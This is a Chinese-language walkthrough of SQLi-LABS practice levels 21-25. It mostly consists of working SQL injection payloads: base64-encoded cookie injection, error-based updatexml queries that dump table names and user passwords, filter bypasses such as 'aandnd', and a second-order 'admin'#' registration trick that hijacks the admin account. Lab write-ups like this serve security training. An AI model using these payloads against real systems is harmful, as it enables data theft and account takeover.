SQL注入SQLi-LABS 靶场less21-25详细通关攻略
less 21 Cookie injection-base64 encoded-single quotes and parenthesis
1.判断注入点
使用我们自己已经知道的用户名和密码进行登录后页面显示给出Cookie值,也就是说Cookie是可以回显的接下来我们抓包尝试。并且这里的RHVtYg==跟base64编码相似我们尝试对其进行解码,确实是base64编码。所以我们稍后所以注入语句都要进行base64编码。
2.重新访问进行抓包发送到重放器查看
更改请求数据包查看页面是否存在变化,是可以改变的,接下来我们就可以尝试进行注入了。
2.判断闭合方式
根据下列语句编码后执行结果可以知道闭合方式为 ') # 执行语句要使用base64编码
') or 1=2 # 两个条件都不成立故都为错
') or 1=1 # 1=1成立所以页面回显正确
3.判断注入方法
在我们刚刚尝试闭合方式时可以看到给我们的报错信息为存在语法错误,所以我们可以使用报错注入然后进行base64编码进行注入
4.构造报错注入语句获取数据库名称
') and updatexml(1,concat(1,database()),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLGRhdGFiYXNlKCkpLDMpICM= //base64编码
5.构造语句查询数据库中的表信息
') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDMpICM=
6.查询字段名
') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwzKSAj
7.查询具体信息
') and updatexml(1,concat(1,(select group_concat(username,password) from users)),2) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMikgIw==
less 22 injection-base64 encoded-double quotes
该关卡与上一关除了闭合方式为“ # 外其他的一模一样,登录到里面的内容也一模一样所以就不凑字数了,大家将上述代码的闭合方式改一下进行编码即可。
less 23 GET -Error based -strip comments
1.判断闭合方式
该关对注释符号进行了过滤无论是# --+ 都无法使用所以我们换一个语句
1' and 1=1 or' 页面正常
1' and 1=2 or' 页面不正常
1.判断注入方式
在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入
2.构造报错注入语句获取数据库名称
' and updatexml(1,concat(1,database()),3) or'
3.构造语句查询数据库中的表信息
' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) or'
4.查询字段名
' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) or'
5.查询具体信息
' and updatexml(1,concat(1,(select group_concat(username,password) from users)),2) or'
less 24 POST-Second 0der injection *Real treat * -Stored injections
1.该关卡页面是一个登录界面并且给出了密码重置和账号注册的功能。首先尝试二次注入。
2.二次注入就是在我们注册账号时使用的用户名为攻击语句,会造成重置密码时后续语句注释的情况,这样我们修改后的密码就是数据库原有账号的密码。
以admin举例,注册时admin'# 重置密码时代码执行会将#当做注释符号解析。
3.使用admin'#注册
注册成功修改密码。
使用修改后的密码登录这样就可以进入管理员账号。
less 25 GET- Error based -All your OR & AND belong to us -string single quote
1.判断闭合方式
在我们尝试闭合方式的时候发现将我们的and or过滤掉了,那我们就给他构造一个aandnd进行绕过。
?id=2' aandnd 1=1 --+
?id=2' aandnd 1=2 --+
2.判断注入方式
在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入
3.判断列数和回显点
1' oorrder by 4 --+1' oorrder by 3 --+//根据页面条件满足变化,可以确定有三列。
-1' union select 1,2,3 --+
4.构造报错注入语句获取数据库名称
-1' aandnd updatexml(1,concat(1,database()),3) --+
5.构造语句查询数据库中的表信息
除了and还有or ,information中的or也会过滤。
-1' aandnd updatexml(1,concat(1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')),3) --+
6.查询字段名
-1' aandnd updatexml(1,concat(1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users')),3) --+
7.查询具体信息
password中的or。
-1' aandnd updatexml(1,concat(1,(select group_concat(username,passwoorrd) from users)),2) --+